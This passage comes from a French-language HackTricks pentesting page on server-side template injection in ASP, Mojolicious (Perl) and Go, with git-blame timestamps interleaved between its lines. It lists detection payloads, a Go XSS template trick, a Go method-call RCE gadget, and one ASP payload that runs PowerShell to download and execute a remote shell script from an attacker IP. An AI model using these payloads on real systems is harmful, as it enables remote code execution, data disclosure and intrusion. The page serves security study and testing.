2020-07-19 21:53:59 +00:00
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
2022-01-06 11:03:56 +00:00
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
2020-07-19 21:53:59 +00:00
2022-05-01 13:25:53 +00:00
### ASP
2022-02-03 15:39:58 +00:00
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
2023-06-03 13:10:46 +00:00
* `<%= foo %>` = Rien
2022-02-03 15:39:58 +00:00
* `<%= response.write(date()) %>` = \<Date>
```bash
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2022-02-03 15:39:58 +00:00
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
2022-05-01 13:25:53 +00:00
### Mojolicious (Perl)
2020-07-26 18:06:17 +00:00
2023-06-03 13:10:46 +00:00
Même s'il s'agit de Perl, il utilise des balises comme ERB en Ruby.
2020-07-26 18:06:17 +00:00
* `<%= 7*7 %> = 49`
2023-06-03 13:10:46 +00:00
* `<%= foobar %> = Erreur`
```
2020-07-26 18:06:17 +00:00
<%= perl code %>
<% perl code %>
```
2023-06-03 13:10:46 +00:00
### SSTI en GO
2020-07-26 18:06:17 +00:00
2023-06-03 13:10:46 +00:00
Pour confirmer que le moteur de template utilisé dans le backend est Go, vous pouvez utiliser ces charges utiles :
2021-05-27 10:20:50 +00:00
* `{{ . }}` = structure de données transmise en entrée au template
* Si les données transmises sont un objet qui contient l'attribut Password par exemple, la charge utile précédente le divulguerait, mais vous pourriez également faire : `{{ .Password }}`
2023-06-03 13:10:46 +00:00
* `{{printf "%s" "ssti" }}` = devrait afficher la chaîne ssti dans la réponse
* `{{html "ssti"}}`, `{{js "ssti"}}` = Ce sont quelques autres charges utiles qui devraient afficher la chaîne "ssti" sans les mots de fin "js" ou "html". Vous pouvez vous référer à plus de mots-clés dans le moteur [ici](https://golang.org/pkg/text/template).
2021-05-27 10:20:50 +00:00
2023-06-03 13:10:46 +00:00
**Exploitation de XSS**
2021-05-27 10:20:50 +00:00
2023-06-03 13:10:46 +00:00
Si le serveur utilise le package **text/template**, il est très facile de réaliser une XSS en fournissant simplement votre charge utile en entrée. Cependant, ce n'est pas le cas avec **html/template** car il encode la réponse en HTML : `{{"<script>alert(1)</script>"}}` --> `&lt;script&gt;alert(1)&lt;/script&gt;`
2022-02-03 00:17:18 +00:00
Cependant, Go permet de **DÉFINIR** un **template** complet et de l'appeler **plus tard**. La charge utile sera quelque chose comme :\
2022-02-03 00:17:18 +00:00
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
2023-06-03 13:10:46 +00:00
**Exploitation de RCE**
2022-02-03 00:17:18 +00:00
2023-06-03 13:10:46 +00:00
La documentation pour les modules html/template et text/template peut être trouvée [ici](https://golang.org/pkg/html/template/) et [ici](https://golang.org/pkg/text/template/), et oui, ils varient beaucoup. Par exemple, dans **text/template**, vous pouvez **appeler directement n'importe quelle fonction publique avec la valeur "call"**, ce qui n'est pas le cas avec html/template.
2022-02-03 00:17:18 +00:00
Si vous voulez trouver une RCE en go via SSTI, vous devez savoir que comme vous pouvez accéder à l'objet donné au template avec `{{ . }}`, vous pouvez également **appeler les méthodes des objets**. Ainsi, imaginez que l'**objet transmis a une méthode appelée System** qui exécute la commande donnée, vous pourriez l'abuser avec : `{{ .System "ls" }}`\
2023-06-03 13:10:46 +00:00
Par conséquent, vous aurez probablement **besoin du code source**. Un code source potentiel pour quelque chose comme ça ressemblera à :
2022-02-03 00:17:18 +00:00
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
2022-02-03 00:17:18 +00:00
}
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2022-02-03 00:17:18 +00:00
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
2021-05-27 10:20:50 +00:00
2023-06-03 13:10:46 +00:00
### Plus d'exploits
2021-06-25 12:34:30 +00:00
2023-06-03 13:10:46 +00:00
Consultez le reste de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
## BlackHat PDF
2022-10-25 15:56:49 +00:00
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
2023-06-03 13:10:46 +00:00
## Aide connexe
2023-06-03 13:10:46 +00:00
Si vous pensez que cela pourrait être utile, lisez:
2023-06-03 13:10:46 +00:00
* [Astuces Flask](../../network-services-pentesting/pentesting-web/flask.md)
* [Fonctions magiques Python](broken-reference/)
2023-06-03 13:10:46 +00:00
## Outils
{% embed url="https://github.com/epinna/tplmap" %}
2021-06-27 21:56:13 +00:00
2023-06-03 13:10:46 +00:00
## Liste de détection de force brute
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2023-06-03 13:10:46 +00:00
## Pratique et références
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
2022-02-03 12:18:21 +00:00
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
2022-04-28 16:01:33 +00:00
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
2023-06-03 13:10:46 +00:00
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>